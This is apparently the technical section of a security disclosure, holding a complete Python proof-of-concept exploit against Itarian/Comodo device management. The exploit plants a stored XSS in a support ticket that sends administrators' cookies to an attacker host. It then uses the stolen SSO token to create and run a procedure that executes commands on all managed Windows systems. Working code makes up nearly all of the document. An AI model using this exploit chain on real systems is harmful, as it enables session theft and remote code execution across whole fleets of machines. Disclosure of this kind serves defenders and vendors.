Technical details

The following POC will show that an attacker can send an email / ticket, with an XSS, to an Itarian administrators, this XSS can be used to get RCE on all managed systems.

POC code:

# POC made by Wietse Boonstra
#
# Flow
# Send XSS payload to grab SSO-Token - Mail / Ticket
# Send SSO-Token to attacker server
# Request PHPSessionId
# Use PHPSessionId to run 3 commands
# # Create procedure grab ID
# # Update procedure ID with new python code
# # Trigger procedure on all systems
# Wait for shells to rain or calc’s!

#!/bin/python3

import requests
import string
import random
import sys

from requests import sessions



class exploit():
   def __init__(self, url, payload, ssotoken):
       self.url = url
       self.ssotoken = ssotoken
       self.payload = payload
       self.procedureID = None
       self.session = requests.session()
      
   def getPHPsessionId(self):
       url = "{}?sso-token={}".format(self.url,self.ssotoken)
       print (url)
       resp = self.session.get(
           url,
           verify=False,
           allow_redirects=False,
       )
       if resp.status_code != 302:
           print ("Something went wrong, (sessionid?)")
           sys.exit()
       return True

   def createProcedure(self):
       url = "{}/procedure/windows/create".format(self.url)
       procedureName = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))

       headers = {"X-Requested-With": "XMLHttpRequest"}
       json={"model": {"description": "asdasd", "id_category": 1, "name": procedureName }}

       resp = self.session.post(
           url,
           headers=headers,
           json=json,
           verify=False
       )
       if resp.status_code != requests.codes.ok:
           print ("Something went wrong, (sessionid?)")
           sys.exit()
       result = resp.json()

       self.procedureID = result['model']['id']
       print ("Procedure ID: {}".format(self.procedureID))

       return self.procedureID

   def createProcedurePayload(self):
       url = "{}/procedure/windows/update/id/{}".format(self.url, self.procedureID)

       headers = {"X-Requested-With": "XMLHttpRequest"}
       json={"model":{"script":""}}
       json['model']['script'] = """
import os
os.system(\"{}\")
""".format(self.payload)

       resp = self.session.patch(
           url,
           headers=headers,
           json=json,
           verify=False
       )
       if resp.status_code != requests.codes.ok:
           print ("Something went wrong, (sessionid?)")
           sys.exit()
       result = resp.json()
       print (result)

       return True

   def runProcedure(self):
       url = "{}/procedure/run/device-all".format(self.url)
      
       headers = {"X-Requested-With": "XMLHttpRequest"}
       json = {"model":{"target":1,"procedureId":0,"osType":3}}
       json['model']['procedureId'] = self.procedureID

       resp = self.session.post(
           url,
           headers=headers,
           json=json,
           verify=False
       )
       if resp.status_code != requests.codes.ok:
           print ("Something went wrong, (sessionid?)")
           sys.exit()
       result = resp.json()
       print (result)

       return True

   def xssPayload(url,attackerHost,attackerPort):
       # This function could be used to steal the SSO-Token.
       # For this to work we need to start a webserver
       # This webserver will receive the the XSS payload that contains the SSO-Token
       # This Token can then be used to trigger the rest of the exploit chain.
       #
       # 
       from lxml import etree
       from io import StringIO
       from requests_toolbelt import MultipartEncoder

       payload = "<script>document.location=\"https://{}:{}/?c=\" + document.cookie</script>".format(attackerHost, attackerPort)
       randomEmail = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))

       parser = etree.HTMLParser()
       url = "https://{}/open.php".format(url)
       r = requests.get(url)
      
       cookie = r.cookies['OSTSESSID']

       html = r.content.decode("utf-8")
       tree = etree.parse(StringIO(html), parser=parser)
       print (tree)
       inputs = tree.xpath("//input")
       CSRFToken = None
       for input in inputs:
           if "__CSRFToken__" == input.get('name',''):
               CSRFToken = input.get('value','')
          
       labels = tree.xpath("//label")
       EmailAddressId = None
       FullNameId = None
       IssueSummaryId = None
       for label in labels:
           if "Email Address" in label.text:
               EmailAddressId = label.get('for','')
           if "Full Name" in label.text:
               FullNameId = label.get('for','')
           if "Issue Summary" in label.text:
               IssueSummaryId = label.get('for','')

       url = "https://dddivddd.servicedesk.comodo.com:443/open.php"
       cookies = {"OSTSESSID": cookie}
       headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryUDlpx6O6BsoA2BmY"}
       data = """------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"__CSRFToken__\"
{CSRFToken}
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"a\"
open
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"topicId\"
10
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"{EmailAddressId}\"
{randomEmail}@fff.123
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"{FullNameId}\"
{payload}Administrator
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"{IssueSummaryId}\"
summary
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"message\"
Hi
------WebKitFormBoundaryUDlpx6O6BsoA2BmY--
""".format(CSRFToken=CSRFToken,EmailAddressId=EmailAddressId,randomEmail=randomEmail,FullNameId=FullNameId,payload=payload,IssueSummaryId=IssueSummaryId)
       ticket = requests.post(url, headers=headers, cookies=cookies, data=data)
       if "A support ticket request has been created " in ticket.text:
           print ("Payload dropped")
       else:
           print (ticket.text)


   def run(self):
       # self.xssPayload()
       self.getPHPsessionId()
       self.createProcedure()
       self.createProcedurePayload()
       self.runProcedure()

payload = "c:\\windows\\system32\\cmd.exe /c calc"
x = exploit(url="https://dddivddd-msp.cmdm.comodo.com/", ssotoken="<TOKEN>", payload=payload )
id = x.run()